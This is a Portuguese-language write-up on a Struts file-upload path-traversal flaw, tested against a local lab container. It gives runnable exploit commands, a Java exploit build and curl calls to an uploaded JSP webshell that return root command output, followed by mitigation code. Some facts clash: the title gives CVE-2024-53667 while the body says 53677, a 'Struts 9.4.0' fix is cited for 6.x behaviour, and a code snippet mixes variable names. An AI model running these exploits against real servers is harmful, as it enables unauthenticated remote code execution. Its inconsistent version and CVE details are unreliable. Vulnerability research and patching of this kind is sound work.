
Pesquisa de opções de exploração para CVE-2024-53667 e sua remediação
A falha está em como o FileUploadInterceptor do Struts passa o nome do arquivo enviado para a classe de ação. Normalmente, o interceptor sanitiza o nome do arquivo, mas o Struts também permite que qualquer parâmetro multipart seja processado como uma expressão OGNL pelo ParametersInterceptor. Enviar top.UploadFileName (ou uploadFileName[0] para ações de múltiplos arquivos) como um campo de formulário chama diretamente action.setUploadFileName(value) via OGNL, sobrescrevendo o que o interceptor definiu.
A ação então escreve o arquivo sem sanitização de caminho:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
Enviar ../shell.jsp como nome do arquivo resulta em:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
Fazer upload de um webshell JSP lá concede RCE não autenticado.
Existem dois exploits sendo pesquisados em relação a esta vulnerabilidade:
O servidor de aplicações Lab Tomcat, usado como alvo para ambos os exploits, é retirado do primeiro repositório e executa em um contêiner (docker ou podman).
Outro exploit é fornecido neste repositório como uma versão Java do poc.py, que se origina da segunda fonte.
A diferença sutil entre os dois exploits é mostrada na tabela de comparação lado a lado no final deste documento.
Ambos os exploits foram confirmados como funcionando no Struts 6.3.0.2.
No entanto, quando atualizamos o Struts para 6.8.0 ou 6.9.0, o primeiro exploit (CVE-2024-53677.py) parou de funcionar - devido à correção no Struts 9.4.0.
O segundo exploit (StrutsExploitRunner) funciona em todas as versões 6.3.0.2, 6.8.0, 6.9.0, a menos que o código da aplicação explorável seja atualizado conforme aconselhado abaixo na seção de Mitigação.
Veja os detalhes técnicos da investigação abaixo.
Clone o primeiro repositório e mude para seu diretório raiz:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Você precisará de docker (originalmente) ou podman (usado em nossa pesquisa) para construir e executar o Lab Tomcat explorado:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Execute os scripts de exploit conforme descrito abaixo em um shell separado a partir do diretório raiz do repositório com o ambiente virtual Python ativado.
Faz upload de um webshell JSP para /upload.action usando top.UploadFileName para injetar um nome de arquivo com path traversal. O webshell codificado aceita comandos via ?action=cmd&cmd=<command>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p é o valor passado como top.UploadFileName. Um ../ é suficiente para escapar do diretório uploads/ e colocar o arquivo na raiz web.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Observe o parâmetro obrigatório action=cmd — o webshell codificado verifica isso antes de executar o comando. Sem ele, você obtém Unknown action. em vez de saída.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Tem como alvo /uploads.action (a variante de múltiplos arquivos) e define uploadFileName[0] via OGNL para um valor de path traversal. Mesmo bypass subjacente, nome de parâmetro e classe de ação diferentes.
Você precisará do JDK 17 ou superior para construir e executar o exploit (o binário java deve estar no seu PATH).
Execute o seguinte comando na raiz deste repositório para construir o uber-jar executável:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames fixa o nome do arquivo para que você saiba onde buscá-lo. Sem ele, o script gera nomes aleatórios que são exibidos na saída.
O webshell enviado por esta aplicação usa a interface mais simples ?cmd=:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
A correção canônica é atualizar para o Struts 7.x, que reformulou completamente o mecanismo de upload de arquivos. Se essa atualização for bloqueada (compatibilidade com JDK 8, restrições de dependências de terceiros), a mitigação abaixo pode ser aplicada.
Esta é a correção mais robusta porque funciona independentemente do que qualquer interceptor passar. Remova todos os componentes de caminho do nome do arquivo antes de construir o caminho de destino, depois verifique se o caminho resolvido ainda está dentro do diretório pretendido.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName() retorna shell.jsp, então mesmo que top.UploadFileName forneça uma string de travessia, ela é reduzida a um nome de arquivo simples antes de qualquer E/S ocorrer.
O mesmo padrão se aplica a UploadsAction — aplique-o dentro do loop for em cada uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner | |
|---|---|---|
| Endpoint | /upload.action | /uploads.action |
| Parâmetro OGNL | top.UploadFileName | uploadFileName[0] |
| Classe de ação | UploadAction (single file) | UploadsAction (multi-file) |
| Chamada do webshell | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Bug de caminho padrão | nenhum | padrão de --paths é muito profundo, substitua por .. |